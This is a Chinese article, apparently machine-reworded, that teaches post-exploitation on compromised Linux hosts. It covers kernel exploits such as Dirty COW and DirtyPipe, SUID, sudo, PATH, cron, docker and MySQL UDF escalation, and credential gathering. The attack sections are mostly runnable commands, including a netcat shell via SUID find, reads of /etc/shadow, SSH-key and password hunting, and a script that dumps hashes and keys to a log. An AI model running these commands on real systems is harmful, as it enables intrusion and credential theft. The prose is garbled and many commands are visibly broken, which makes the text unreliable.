首页游戏资讯纯干货|一文读懂Linux内网渗入

纯干货|一文读懂Linux内网渗入

misa2 04-13 4次浏览 0条评论

网安教导

培育提拔收集平安人才

手艺交换、进修征询

Linux固然没有域情况,但是当我们拿到一台Linux 系统权限,莫非只停止一下提权,捕获一下灵敏信息就完毕了吗?显然不但是如许的。本片文章将从拿到一个Linux shell起头,介绍Linux内网渗入手艺,分为容器逃逸、Linux提权、Linux信息搜集、Linux隧道手艺、Linux横向挪动、Linux权限庇护、Linux陈迹清理几个部门。

容器逃逸

容器逃逸的利用次要是,拿到shell之后,发现是docker情况,要进一步渗入,就必需逃逸到宿主机。

容器逃逸办法见:

Linux提权

Linux提权可能能够分为下面几种:

系统内核提权;第三方办事提权;数据库提权;密码搜集提权;键盘笔录提权;Suid提权;Sudo提权;反弹shell提权。

提权辅助东西

GTFOBins

/

GTFOBins是一个精心筹谋的Unix二进造文件列表,能够用来绕过错误设置装备摆设系统中的当地平安限造。该项目搜集了Unix二进造文件的合法函数,那些函数可能被滥用,以突破受限造的shell,晋级或庇护提拔的特权,传输文件,生成绑定和反向shell,并为其他过后操纵使命供给便当。需要重视的是,那不是一个破绽列表,那里列出的法式自己其实不随便遭到进攻,相反,GTFOBins是一个概要,阐明当您只要某些二进造文件可用时,若何获得root权限。

BeRoot

BeRoot用于查抄Linux和Mac OS上常见的错误设置装备摆设,以找到一种办法来晋级我们的特权。查抄项包罗GTFOBins中的二进造文件、通配符错误、suid、情况变量、NFS、sudo等等,详尽能够往上面链接看。

纯干货|一文读懂Linux内网渗入

展开全文

纯干货|一文读懂Linux内网渗入

pspy

Pspy是一个号令行东西,用于在不需要root权限的情状下窥探历程。它容许您在其他用户运行的号令、cron使命等施行时查看它们。该东西通关轮回遍历/proc下的值来获取历程参数信息。

traior

多个linux提权破绽缝合怪。

Traitor 打包了一堆办法来操纵当地错误设置装备摆设和破绽来主动提权:

几乎所有的GTFOBins

可写 docker.sock

纯干货|一文读懂Linux内网渗入

0x00 根底信息搜集

在说提权之前先介绍一下根本的信息搜集号令,为后续的提权做预备。

1、内核,操做系统和设备信息

1uname -a 打印所有可用的系统信息

2uname -r 内核版本

3uname -n 系统主机名。

4uname -m 查看系统内核架构( 64位/ 32位)

5hostname 系统主机名

6lsb_release -a 发行版信息

7cat /proc/version 内核信息

8cat /etc/*-release 发行版信息

9cat /etc/issue 发行版信息

10cat /proc/cpuinfo CPU信息

2、用户和群组

1cat/etc/passwd 列出系统上的所有用户

2cat /etc/group 列出系统上的所有组

3groups 当前用户所在的组

4groups test test用户所在的组

5getent group xxx xxx组里的用户

6grep -v -E "^#"/etc/passwd | awk -F: ' $3== 0 { print $1}' 列出所有的超等用户账户

7whoami 查看当前用户

8w 谁目前已登录,他们正在做什么

9last最初登录用户的列表

10lastlog 所有用户前次登录的信息

11lastlog –u %username% 有关指定用户前次登录的信息

纯干货|一文读懂Linux内网渗入

3、用户和权限信息

1whoami当前用户名

2id 当前用户信息

3cat /etc/sudoers 谁被容许以root身份施行

4sudo -l 当前用户能够以root身份施行操做

纯干货|一文读懂Linux内网渗入

4、情况信息

1env 展现情况变量

2echo%PATH 途径信息

3history展现当前用户的汗青号令笔录

4pwd输收工做目次

5cat /etc/profile 展现默认系统变量

6cat /etc/shells 展现可用的shell

纯干货|一文读懂Linux内网渗入

0x01 内核破绽提权

提醒:内核破绽提权有风险,有可能会瓦解系统。

内核破绽是我们几乎更先想到的提权办法。通杀的内核破绽是非常少见的,因而我们应该先对系统相关的信息停止搜集,搜集办法参考第一末节根底信息搜集即可。

大多内核破绽通过内核版本能很快查到

SearchSploit

用kali自带的searchsploit来搜刮exploitdb中的破绽操纵代码

SearchSploit是一个Exploit-DB的号令行搜刮东西,它还容许随身照顾破绽操纵数据库的副本。

介绍:

SearchSploit利用:

更新SearchSploit:

1apt update apt -y full- upgrade

2searchsploit -u

根本搜刮语法:

只需添加您想要查找的肆意数量的搜刮词:

1searchsploit linux 2.6 ubuntu priv esc

2

3Tip:假设你没有收到预期的成果,能够利用更通用的术语停止更普遍的搜刮。如:Kernel 2.6.25 - Kernel 2.6 / / Kernel 2.x。

4Tip:不要利用缩写如:SQLi - SQL Injection。

展现破绽操纵的完全途径:

1-p, --path[EDB-ID]展现破绽操纵的完全途径(假设可能,还将途径复造到剪贴板),后面跟破绽 ID号

不料见在当地的破绽数据库中修改exp,定见利用-m参数复造那些有用的到当前的工做目次:

1-m, --mirror [EDB-ID] 把一个 exp拷贝到当前工做目次,参数后加目标id

exp操纵:

将exp上传到目标身手,编译运行(编译办法,在源码的正文里有)

1gcc 9545.c -o exp

2chmod777exp

3./ exp

当然,以上只长短常抱负的情状,我们经常会碰着没有gcc的坑爹办事器。那时我们就需要在当地编译。当地编译时不行要看exp源码正文的编译参数,也需要手动调整一下编译的参数,好比给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。

最初强调操纵内核破绽的几个重视点:

1.读源码正文,有exp根本信息和编译办法,否则可能连编译都不会

2.读源码,否则费力编译完才发现不适用

3.读源码,否则碰着一个删全盘的”exp“怎么办

破绽原理:该破绽详细为,get_user_page内核函数在处置Copy-on-Write(以下利用COW表达)的过程中,可能产出竞态前提形成COW过程被毁坏,招致呈现写数据到历程地址空间内只读内存区域的时机。修改su或者passwd法式就能够到达root的目标。

破绽名称:脏牛(Dirty COW)

破绽危害:低权限用户操纵该破绽手艺能够在全版本上实现当地提权

影响范畴:3.9Linux kernel =2.6.22 而且Android也受影响

操纵脚本合集:PoCs · dirtycow/dirtycow.github.io Wiki

破绽复现:

先查看一下系统版本信息

linux kernel版本2.6.32,应该能够用脏牛提权。下载脏牛提权脚本

那里利用dirty.c那个exp:

那个exp操纵了dirtycow破绽的pokemon破绽 。会主动生成一个新的passwd行。 运行二进造文件时,会提醒用户输进新密码。 原/etc/passwd文件会备份到/tmp/passwd.bak下 ,用生成的行笼盖根帐户。运行该破绽后,你应该可以登录新创建的用户。 利用此破绽能够根据您的需要修改用户值。 默认为“firefart”用户。

上传到目标系统tmp目次下

纯干货|一文读懂Linux内网渗入

在/tmp目次下间接起一个号令行,然后编译运行脚本

纯干货|一文读懂Linux内网渗入

施行id号令后能够看到已经为root用户了,胜利提权。

操纵前提

15.8=Linux kernel5.16.11/5.15.25/5.10.102

EXP:

1

2#原理为 间接修改一个具有suid权限的可施行文件,然后施行那个可施行文件提权,完成提权后再把文件改回来

3

4or

5

6

7#原理为 笼盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复

操纵:

1wget

2gcc -o dirtypipez dirtypipez.c

3./dirtypipez /usr/bin/su #任何详细suid权限的文件均可

0x02 SUID 提权

什么是suid?suid全称是Set owner User ID up on execution。那是Linux给可施行文件的一个属性——s标记。通俗的理解为其他用户施行那个法式的时候能够用该法式所有者/组的权限。需要重视的是,只要法式的所有者是0号或其他super user,同时拥有suid权限,才能够提权。

选举阅读P神的那篇文章:

常见的可用来提权的Linux 可施行文件有:

Nmap, Vim, find, bash, more, less, nano, cp

查看能够suid 提权的可施行文件:

1find / -perm -u=s -type f 2 /dev/null

2或者

3find / -user root -perm -4000-print 2 /dev/null

纯干货|一文读懂Linux内网渗入

下面列举几个常见的设置了SUID的利用法式提权手段:

find

1ls -al /usr/bin/ find

2-rwsr-xr-x 1root root 162424Jan 62012/usr/bin/ find

适用法式find用来在系统中查找文件。同时,它也有施行号令的才能。 因而,假设设置装备摆设为利用SUID权限运行,则能够通过find施行的号令都将以root身份往运行。

好比:DC -1 靶机就是操纵find 号令停止root 用户来施行号令

大部门Linux 系统都安拆了nc。利用如下号令即可胜利得到root shell:

1find / - typef - exec/bin/bash \;

2或

3find / - execnc -lvp 5555 -e /bin/sh \;

4nc ip port

测试:

1chomodu+s /usr/bin/find #chmod u+s 给某个法式的所有者suid权限。

nmap

较旧版本的Nmap(2.02≤nmap5.21)带有交互形式,从而容许用户施行shell号令。因为Nmap位于上面利用root权限施行的二进造文件列表中,因而能够利用交互式掌握台来运行具有不异权限的shell。)

能够利用下号令进进namp交互形式

1nmap--interactive

施行号令后会返回一个shell

1nmap !sh

2sh-3.2 # whoami

3root

5.2.0 之后,nmap 还能够通过施行脚原来提权:

在某些发行版的Linux 可能会提权失败。详细原理移步p 师傅文章

1# nse脚本 shell.nse

2os. execute( '/bin/sh')

3# nmap 提权

4nmap --=shell.nse

或者

1echo'os.execute("/bin/sh")' getshell

2sudo nmap --=getshell

vim

假设vim 是通过SUID运行,就会继续root用户的权限。可读取只要root能读取的文件。

1vim/etc/shadow

vim 运行shell

1vim

2:setshell= /bin/sh

3:shell

同理,称心前提的 less 和 more 都可。

awk

1awk ' BEGIN{ system( "/bin/bash")} '

2

strace

1strace -o/dev/ null/bin/bash

0x03 操纵情况变量提权

操纵关键在于找到具有SUID权限的文件,情况变量中有本身能掌握的途径,好比当前目次(.)

详尽文章参考:

PATH 是Linux 和 Unix 操做系统中的情况变量,它指定存储可施行法式的所有bin和sbin目次。当用户在末端上施行任何号令时,它会通过PATH变量来响利用户施行的号令,并向shell发送恳求以搜刮可施行文件。超等用户凡是还具有/sbin和/usr/sbin条目,以便于系统治理号令的施行。

利用echo号令展现当前PATH情况变量:

测试:

情况设置装备摆设:

如今我们的当前目次是/home/yokan,我们将在当前目次下创建一个srcipt目次。然后cd到目次中,编写一个简单的c法式来挪用系统二进造文件的函数。

1pwd

2mkdir

3cd/

4nano demo.c

demo.c文件内容如下图,你能够看到,我们挪用了ps号令,即系统二进造文件:

然后利用gcc号令编译demo.c文件而且付与编译文件SUID权限,号令如下:

1gccdemo.c -o shell #需要以root权限编译

2chmod u+s shell

3ls -la shell

进攻操纵:

起首,你需要先辈侵靶机系统而且进进到提权阶段。假设你已经通过ssh胜利登录到了靶机上,二话不说,我们间接利用find号令来搜刮具有SUID或4000权限的文件。

1find / -perm -u=s -type f 2 /dev/null

通过施行上述号令,进攻者能够遍历任何可施行文件,在那里我们能够看到/home/yokan/目次下的shell文件具有SUID权限,如图:

于是我们cd到/home/yokan//目次下,ls一下,看到了名为shell的可施行文件。我们运行一下那个文件,能够看到shell文件测验考试施行ps号令,那个号令是/bin目次下的用来查看历程形态的实在文件。

1ls

2./shell

提权:

1cd/tmp

2echo“/bin/bash” ps

3chmod 777 ps

4echo$PATH

5exportPATH=/tmp: $PATH

6cd/home/yokan/

7./shell

8whoami

其他更多的办法参考上面的文章。

0x04 操纵第三方办事提权

当一些第三方办事,以root身份运行, 我们通过它拿到的shell就是root权限。

netstat -antup该号令能够展现所有翻开并正在监听的端口,我们能够通过此号令查抄能否有能够操纵的当地办事

ps -aux | grep root 该号令能够展现以root用户身份运行的办事

Docker 组提权

docker 组内用户施行号令的时候会主动在所有号令前添加 sudo。因为设想或者其他的原因,Docker 赐与所有 docker 组的用户相当大的权利(固然权利只表现在能拜候 /var/run/docker.sock 上面)。默认情状下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护历程会容许 root 用户和 docker

组用户拜候 Docker。给用户供给 Docker 权限和给用户无需认证即可以随意获取的 root 权限区别不大。

docker组内用户施行如下号令,即可获得root权限

1docker run -v / :/hostOS-i -t chrisfosterelli/rootplease

2

3#参数 -v 将容器外部的目次 / 挂载到容器内部 /hostOS

4那个容器的启动脚本是 exploit.sh,次要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

测试:

创建了个用户dockertest加进了docker组,然后施行如下号令,获得root权限

1docker run -v / :/hostOS-i -t chrisfosterelli/rootplease

纯干货|一文读懂Linux内网渗入

MySQL UDF 提权

先查看 secure_file_priv 的值能否为空,因为只要为空我们才气陆续下面的提权步调

纯干货|一文读懂Linux内网渗入

提权步调:

获取udf代码

1sqlmap中有现成的 udf文件,分为32位和64位,必然要抉择对版本,不然会展现: Can‘ topensharedlibrary‘ udf.dll‘。

2

3sqlmap\ udf\ mysql\ windows\32目次下存放着 lib_mysqludf_sys.dll_

4sqlmap\ udf\ mysql\ windows\64目次下为64位的 lib_mysqludf_sys.dll_

5

6但是 sqlmap中 自带 的 shell以及一些二进造文件,为了避免被误杀都颠末异或体例编码,不克不及间接利用的。

7能够操纵 sqlmap自带的解码东西 cloak.py,进进到 sqlmap\ extra\ cloak\ cloak目次下,施行号令:

8cloak.py-d-iD:\ sqlmap\ udf\ mysql\ windows\32\ lib_mysqludf_sys.dll_

9

10sqlmap中的 udf文件供给的函数:

11sys_eval,施行肆意号令,并将输出返回。

12sys_exec,施行肆意号令,并将退出码返回。

13sys_get,获取一个情况变量。

14sys_set,创建或修改一个情况变量。

将udf文件上传到指定位置

1MySQL 5.0,导出途径随意;

25.0= MySQL 5.1,则需要导出至目标办事器的系统目次(如:c:/windows/system32/)

3MySQL 5.1以上版本,必需要把udf.dll文件放到MySQL安拆目次下的lib\plugin文件夹下才气创建自定义函数。

4

5select@@basedir; #查看mysql安拆目次

6select'It is dll'intodumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //操纵NTFS ADS创建lib目次

7select'It is dll'intodumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //操纵NTFS ADS创建plugin目次

8select0xUDFcode intodumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll'; #导出udfcode,重视修改udfcode

从udf文件中引进自定义函数

1createfunctionsys_eval returnsstringsoname'udf.dll';

2//sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名

施行号令

1select* frommysql.func wherename= 'sys_eval'; #查看创建的sys_eval函数

2selectsys_eval( 'whoami'); #利用系统号令

陈迹肃清

1dropfunctionsys_eval; #删除函数

2deletefrommysql.func wherename= 'sys_eval'#删除函数

redis提权

假设Redis以root身份运行,黑客能够操纵Redis写进SSH公钥文件,间接通过SSH免密码登录受害办事器。Redis 默认绑定在6379端口,而且没有开启认证,在没有任何拜候战略的情状下,任何人能够间接在非受权情状下间接拜候Redis办事并停止相关操做。

详尽参考《Redis根底与简单操纵.docx》

0x05 Sudo提权

一旦进攻者有权拜候任何SUDO用户,那么他根本上就能够利用root权限施行任何号令。治理员可能只容许用户通过SUDO运行一些号令,但绝对不是所有号令,即便是利用如许的设置装备摆设,他们也可能会在不知情的情状下引进破绽,从而招致权限提拔的风险。

无密码:

sudo -l打印容许做为SUDO运行的号令

假设我们被容许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python等任何编程语言编译器、阐明器和编纂器,那么我们就能够通过那些号令,获得root权限。

现实情况中纷歧定会那么明显展现可用号令,某些设置装备摆设也是能够利用那几个号令的,假设对sudo机造不熟悉,能够间接利用sudo+号令 测试能否可用。

例如 vi号令:

进进底线号令形式,输进:!/bin/bash,即可翻开一个用户为root的shell

1sudo vi test.txt

2:! /bin/bash

有密码:

假设晓得sudo组用户的密码,能够间接sudo -i提权。

sudo -i: 为了频繁的施行某些只要超等用户才气施行的权限,而不消每次输进密码,能够利用该号令。提醒输进密码时该密码为当前账户的密码。没有时间限造。施行该号令后提醒符变成“#”而不是“$”。想退回通俗账户时能够施行“exit”或“logout” 。

填补:

间接在低权shell里面用sudo是不奏效的,那是因为出于平安考虑,linux要求用户必需从末端设备(tty)中输进密码,而不是原则输进(stdin)。换句话说,sudo在你输进密码的时候素质上是读取了键盘,而不是bash里面输进的字符。因而为了可以输进密码,我们必需模仿一个末端设备。

python就有如许的功用。在shell里面输进:

1python-c 'import pty;pty.spawn("/bin/sh")'

就用python成立了一个虚拟末端,然后就能够利用sudo等等号令了。

十分好用

概述

当sudo通过 -s 或 -i 号令行选项在shell形式下运行号令时,它将在号令参数中利用反斜杠转义特殊字符。但利用 -s 或 -i 标记运行 sudoedit 时,现实上并未停止转义,从而可能招致缓冲区溢出。因而只要存在sudoers文件(凡是是 /etc/sudoers),进攻者就能够利用当地通俗用户操纵sudo获得系统root权限。

影响版本

sudo 1.8.2 - 1.8.31p2

sudo 1.9.0 - 1.9.5p1

查看sudo版本

号令:sudo --version

POC

复现

1sudo--version

1pythonexploit_defaults_mailer.py

2

3/tmp/sshell

0x06 文件权限设置装备摆设不妥

当某个历程启动权限为ROOT,对应文件编纂权限为通俗用户时,我们能够操纵该问题点停止提权。

pspy()东西供给了通俗用户权限即可监听历程信息

测试情况:

起首我们创建一个while轮回,并利用ROOT用户轮回施行/tmp/1.sh。

操纵:

我们获取通俗用户权限时,操纵pspy能够监控到ROOT用户在继续施行/tmp/1.sh:

纯干货|一文读懂Linux内网渗入

测验考试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:

我们测验考试替代文件内容,查看能否会以ROOT权限启动此中号令:

发现胜利提权,以ROOT权限启动自定义号令:

0x07 方案使命设置装备摆设不妥

Cron使命经常以root权限运行。假设我们能够胜利窜改Cron使命中定义的任何脚本或二进造文件,我们即可以利用root权限施行肆意代码。

查看方案使命的办法:

1crontab -l

2ls -alh / var/spool/cron

3cat /etc/cron*

举例:

ls -la /etc/cron.d 打印cron.d中已经存在的Cron使命。

find / -perm -2 -type f 2/dev/null 打印全局可写进文件

cron-logrotate.sh是全局可写进的,它由cronjob运行。我们在cron-logrotate.sh中写进/添加的任何号令城市以root身份施行

我们在/tmp目次下编写一个C文件,并对其停止编译:

纯干货|一文读懂Linux内网渗入

纯干货|一文读懂Linux内网渗入

rootme可施行文件会产生一个Shell。ls -la rootme 阐明该文件由用户SHayslett拥有。

然后施行下面号令,将可施行文件的所有者和分组修改为root,同时也会设置SUID位:

1echo"chown root:root /tmp/rootme; chmod u+s /tmp/rootme;"/usr/ local/sbin/cron-logrotate.sh

待logrotate Cron使命以root权限运行后,

运行./rootme产生一个root Shell

纯干货|一文读懂Linux内网渗入

破绽描述:该破绽是因为pkexec无法准确处置挪用参数,从而将情况变量做为号令施行,具有肆意用户权限的进攻者都能够在默认设置装备摆设下通过修改情况变量来操纵此破绽,从而获得受影响主机的root权限。

受影响linux:

2009年5月至 2022 年1月26日发布的所有 Polkit 版本

Polkit预拆在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本事域Polkit的Linux系统均受影响。

受影响国产化操做系统:

银河麒麟高级办事器操做系统 V10

银河麒麟高级办事器操做系统 V10 SP1

银河麒麟高级办事器操做系统 V10 SP2

统信 UOS 办事器操做系统 V20

银河麒麟桌面版操做系统 V10

银河麒麟桌面版操做系统 V10 SP1

统信 UOS 桌面版操做系统 V20

中标麒麟桌面版操做系统 V7.0

版本检测:

Linux系统用户能够通过查看Polkit版原来揣度当前系统能否在受影响范畴内,支流Linux发行版号令如下:

CentOS、RedHat 系列:

1rpm-qa polkit

Debian、Ubuntu 系列:

1dpkg-l policykit- 1

不受影响版本

CentOS:

1CentOS6: polkit-0.96-11.el6_10.2

2CentOS7: polkit-0.112-26.el7_9.1

3CentOS8 .0: polkit-0.115-13.el8_5.1

4CentOS8 .2: polkit-0.115-11.el8_2.2

5CentOS8 .4: polkit-0.115-11.el8_4.2

Ubuntu:

1Ubuntu14 .04ESM: policykit-1-0.105-4ubuntu3.14.04.6+ esm1

2Ubuntu16 .04ESM: policykit-1-0.105-14.1ubuntu0.5+ esm1

3Ubuntu18 .04LTS: policykit-1-0.105-20ubuntu0.18.04.6

4Ubuntu20 .04LTS: policykit-1-0.105-26ubuntu1.2

5Ubuntu21 .10: policykit-1-0.105-31ubuntu0.1

Debain:

1Debainstretch: policykit-10 .105-18+ deb9u2

2Debainbuster: policykit-10 .105-25+ deb10u1

3Debainbullseye: policykit-10 .105-31+ deb11u1

4Debainbookworm, bullseye: policykit-10 .105-31.1

破绽复现:

CentOS情况

操纵:

exp网上良多。也很不变。也算是个”神洞“了。

Linux信息搜集

本机根本信息

1#治理员

2$通俗用户

3@之前表达登录的用户名称,之后表达主机名,再之后表达当前所在目次

4/ 表达根目次

5~表达当前用户家目次

1、内核,操做系统和设备信息

1uname -a 打印所有可用的系统信息

2uname -r 内核版本

3uname -n 系统主机名。

4uname -m 查看系统内核架构( 64位/ 32位)

5hostname 系统主机名

6lsb_release -a 发行版信息

7cat /proc/version 内核信息

8cat /etc/*-release 发行版信息

9cat /etc/issue 发行版信息

10cat /proc/cpuinfo CPU信息

2、用户和群组

1cat/etc/passwd 列出系统上的所有用户

2cat /etc/shadow 查看用户Hash

3cat /etc/group 列出系统上的所有组

4groups 当前用户所在的组

5groups test test用户所在的组

6getent group xxx xxx组里的用户

7

8grep -v -E "^#"/etc/passwd | awk -F: ' $3== 0 { print $1}' 列出所有的超等用户账户

9awk -F: 'length( $2)==0 {print $1}' /etc/shadow #查看能否存在空口令用户

10awk '/\$1|\$6/{print $1}' /etc/shadow #查看长途登录的账号

11

12whoami 查看当前用户

13w 谁目前已登录,他们正在做什么

14who 号令用于展现系统中有哪些利用者正在上面

15last最初登录用户的列表

16lastlog 所有用户前次登录的信息

17lastlog –u %username% 有关指定用户前次登录的信息

纯干货|一文读懂Linux内网渗入

3、用户和权限信息

1whoami当前用户名

2id 当前用户信息

3cat /etc/sudoers 能够利用sudo提拔到root的用户

4sudo -l 当前用户能够以root身份施行操做

纯干货|一文读懂Linux内网渗入

4、情况信息

1env 展现所有的情况变量

2set 展现当地情况变量

3echo $PATH 情况变量中的途径信息

4export [ -fnp][ 变量名称]=[变量设置值] 展现和设置情况变量

5pwd 输收工做目次

6cat /etc/profile 展现默认系统变量

7cat /etc/shells 展现可用的shell

8ls -la /etc/*.conf 查看etc下所有设置装备摆设文件

纯干货|一文读懂Linux内网渗入

5、汗青号令

展现当前用户的汗青号令笔录

1history

2cat ~/.bash_history

3

4# 查看其他用户的汗青号令文件

5cat /home/user/.bash_history

纯干货|一文读懂Linux内网渗入

history展现内存和~/.bash_history中的所有内容;

内存中的内容并没有立即写进~/.bash_history,只要当当前shell封闭时才会将内存内容写进shell

6、历程信息

1psaux 以用户的格局展现所有历程,包罗非末端的历程

2ps -ef 展现所有历程,展现UID,PPIP(父历程),C与STIME栏位

3ps -ef | grep java 查询某个利用的所有历程信息

4top 实时展现占用最多的历程

假设想查看历程的CPU占用率和内存占用率,能够利用aux

假设想查看历程的父历程ID和完全的COMMAND号令,能够利用-ef

1lsof-c $PID查看历程联系关系文件

2/proc/ $PID/cmdline 完全号令行信息

3/proc/ $PID/comm 历程的号令名

4/proc/ $PID/cwd 历程当前工做目次的符号链接

5/proc/ $PID/exe 运行法式的符号链接

6/proc/ $PID/environ 历程的情况变量

7/proc/ $PID/fd 历程翻开文件的情状

7、办事信息

1cat /etc/services 查询存在的办事

2cat /etc/services | grepJava 查询对应的办事

3systemctl list-units --type=service -- state=running 查询已经开启的办事

纯干货|一文读懂Linux内网渗入

8、方案使命

在Linux系统中,方案使命一般是由cron承担。cron启动后,它会读取它的所有设置装备摆设文件(全局性设置装备摆设文件/etc/crontab,以及每个用户的方案使命设置装备摆设文件),然后cron会根据号令和施行时间来定时来挪用工做使命。

1/ var/spool/cron/crontabs :那个目次以账号来区分每个用户本身的施行方案

2/etc/crontab :系统施行方案,需要在后边加上用户格局

1所有方案使命项:

2/var/spool/cron/*

3/var/spool/anacron/*

4/etc/crontab

5/etc/anacrontab

6/etc/cron.*

7/etc/anacrontab

1crontab -l 查询当前用户所有的方案使命

2crontab -l -u user 查询指定用户的方案使命

3cat / var/spool/cron/crontabs/root 查询root用户的方案使命

9、收集、路由和通信

查询ip

1ifconfig

2ip addr

打印路由信息

1route查询路由表

2route -n 查询路由表,以ip地址展现

3netstat -r 查询路由表

4ip ro

查看系统arp表

1arp-a

端口开放情状

1netstat-antup 所有端口

2netstat -antp tcp端口

3netstat -anup udp端口

查看端口办事映射

1cat/etc/services

列出iptables的设置装备摆设规则

1iptables-L

展现网卡信息

1netstat-i

dns信息

1cat/etc/resolv.conf 查看dns设置装备摆设信息

2dnsdomainname -V 打印DNS系统中FQDN名称中的域名

3cat /etc/hosts 查看hosts域名解析文件

10、已安拆利用

1rpm-qa -- last#Redhat、CentOS

2rpm -qa polkit #查看指定利用的安拆版本

3

4dpkg -l #ubuntu、debian

5dpkg -l policykit- 1#查看指定利用的安拆版本

6dpkg -L xxx #查询某个软件所联系关系的文件

11、查找能写或施行的目次

1find / -writable -type d 2 /dev/null

2find / -perm -o+w -type d 2 /dev/null

3find / -perm -o+x -type d 2 /dev/null

12、防火墙

1iptables -L 查看防火墙设置装备摆设

2

3查看防火墙形态:

4systemctl status firewalld

5service iptables status

6暂时封闭防火墙:

7systemctl stopfirewalld

8service iptables stop

9永久封闭防火墙:

10systemctl disablefirewalld

11chkconfig iptables off

12重启防火墙:

13systemctl enablefirewalld

14service iptables restart

13、灵敏文件

find号令 -o参数 表达 或者 的意思

1find / -type f -iname "*.bash_history"-o -iname "*config*"-o -iname "web.xml"-o -iname "*database*"-o -iname "*pass*"2 /dev/null

查找SSH密钥:

1find / -name "id_dsa*"-o -name "id_rsa*"-o -name "known_hosts"-o -name "authorized_hosts"-o -name "authorized_keys"2 /dev/null|xargs -r ls

Web利用办事

常见设置装备摆设文件途径:

1/apache/apache/conf/

2/apache/apache2/conf/

3/apache/php/php.ini

4/bin/php.ini

5/etc/apache/apache.conf

6/etc/apache/

7/etc/apache2/apache.conf

8/etc/apache2/

9/etc/apache2/sites-available/ default

10/etc/apache2/vhosts.d/ 00_default_vhost.conf

11/etc/

12/etc/

13/etc/

14/etc/

15/etc/init.d/

16/etc/php.ini

17/etc/php/apache/php.ini

18/etc/php/apache2/php.ini

19/etc/php/cgi/php.ini

20/etc/php/php.ini

21/etc/php/php4/php.ini

22/etc/php4. 4/fcgi/php.ini

23/etc/php4/apache/php.ini

24/etc/php4/apache2/php.ini

25/etc/php4/cgi/php.ini

26/etc/php5/apache/php.ini

27/etc/php5/apache2/php.ini

28/etc/php5/cgi/php.ini

29/etc/phpmyadmin/config.inc.php

30/home/apache/conf/

31/home/apache2/conf/

32/home/bin/stable/apache/php.ini

33/home2/bin/stable/apache/php.ini

34/NetServer/bin/stable/apache/php.ini

35/opt//

36/opt/xampp/etc/php.ini

37/PHP/php.ini

38/php/php.ini

39/php4/php.ini

40/php5/php.ini

41/usr/lib/php.ini

42/etc/nginx/nginx.conf

43/usr/lib/php/php.ini

44/usr/ local/apache/conf/

45/usr/ local/apache/conf/php.ini

46/usr/ local/apache2/conf/

47/usr/ local/apache2/conf/php.ini

48/usr/ local/etc/php.ini

49/usr/ local/

50/usr/ local/lib/php.ini

51/usr/ local/php/lib/php.ini

52/usr/ local/php4/lib/php.ini

53/usr/ local/php4/lib/php.ini

54/usr/ local/php4/php.ini

55/usr/ local/php5/etc/php.ini

56/usr/ local/php5/lib/php.ini

57/usr/ local/php5/php5.ini

58/usr/ local/share/examples/php/php.ini

59/usr/ local/share/examples/php4/php.ini

60/usr/ local/Zend/etc/php.ini

61/ var/apache2/config.inc

62/ var/

63/ var/

64/ var/

65/ var/ local//

66/ var/ local/

67/ var//

68/web/conf/php.ini

69//

70/

71/

72/

73/xampp/apache/bin/php.ini

74/xampp/apache/conf/

数据库

1/etc/init.d/mysql

2/etc/my.cnf

3/etc/mysql/my.cnf

4/etc/mysql/my.cnf

5/ var/lib/mysql/my.cnf

6/ var/lib/mysql/mysql/user.MYD

7/usr/ local/mysql/bin/mysql

8/usr/ local/mysql/my.cnf

9/usr/share/mysql/my.cnf

主动化脚本

linux_info.sh

1#!/bin/bash

2

3#输出文件

4filename=$(date +%s) '.log'

5

6echo"信息搜集"

7echo-e "\n"| tee -a $filename

8echo"账户信息搜集"| tee -a $filename

9cat /etc/passwd | tee -a $filename

10echo-e "\n"| tee -a $filename

11echo"shadow"| tee -a $filename

12cat /etc/shadow | tee -a $filename

13echo-e "\n"| tee -a $filename

14echo"历程信息搜集"| tee -a $filename

15ps aux | tee -a $filename

16echo-e "\n"| tee -a $filename

17echo"收集毗连"| tee -a $filename

18netstat -antlp | tee -a $filename

19echo-e "\n"| tee -a $filename

20echo"当前用户:"$(whoami) 2/dev/null | tee -a $filename

21echo-e "\n"| tee -a $filename

22echo"端口监听"| tee -a $filename

23netstat -lnpt | tee -a $filename

24echo-e "\n"| tee -a $filename

25echo"可登岸用户"| tee -a $filename

26cat /etc/passwd | grep -E -v 'nologin$|false'| tee -a $filename

27echo-e "\n"| tee -a $filename

28echo"增加用户的日记"| tee -a $filename

29grep "useradd"/var/ log/secure | tee -a $filename

30echo-e "\n"| tee -a $filename

31echo"History操做提取"| tee -a $filename

32cat ~/.* history| tee -a $filename

33echo-e "\n"| tee -a $filename

34echo"登录胜利的IP"| tee -a $filename

35grep "Accepted "/var/ log/secure* | awk '{print $11}'| sort | uniq -c | sort -nr | more | tee -a $filename

36echo-e "\n"| tee -a $filename

37echo"查看路由表"| tee -a $filename

38route -n | tee -a $filename

39echo-e "\n"| tee -a $filename

40echo"查看 SSH key"| tee -a $filename

41sshkey= ${HOME}/.ssh/authorized_keys

42if[ -e " ${sshkey}" ]; then

43cat ${sshkey}| tee -a $filename

44else

45echo-e "SSH key文件不存在\n"| tee -a $filename

46fi

47echo-e "\n"| tee -a $filename

48echo"查看 known_hosts"| tee -a $filename

49cat ~/.ssh/known_hosts | tee -a $filename

50echo-e "\n"| tee -a $filename

51echo"查找WEB-INF"| tee -a $filename

52find / -name *.properties 2/dev/null | grep WEB-INF | tee -a $filename

53echo-e "\n"| tee -a $filename

54echo"user|pass|pwd|uname|login|db_"| tee -a $filename

55find / -name "*.properties"| xargs egrep -i "user|pass|pwd|uname|login|db_"| tee -a $filename

56echo-e "\n"| tee -a $filename

57echo"jdbc:|pass=|passwd="| tee -a $filename

58find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh"| xargs grep -E "=jdbc:|pass=|passwd="| tee -a $filename

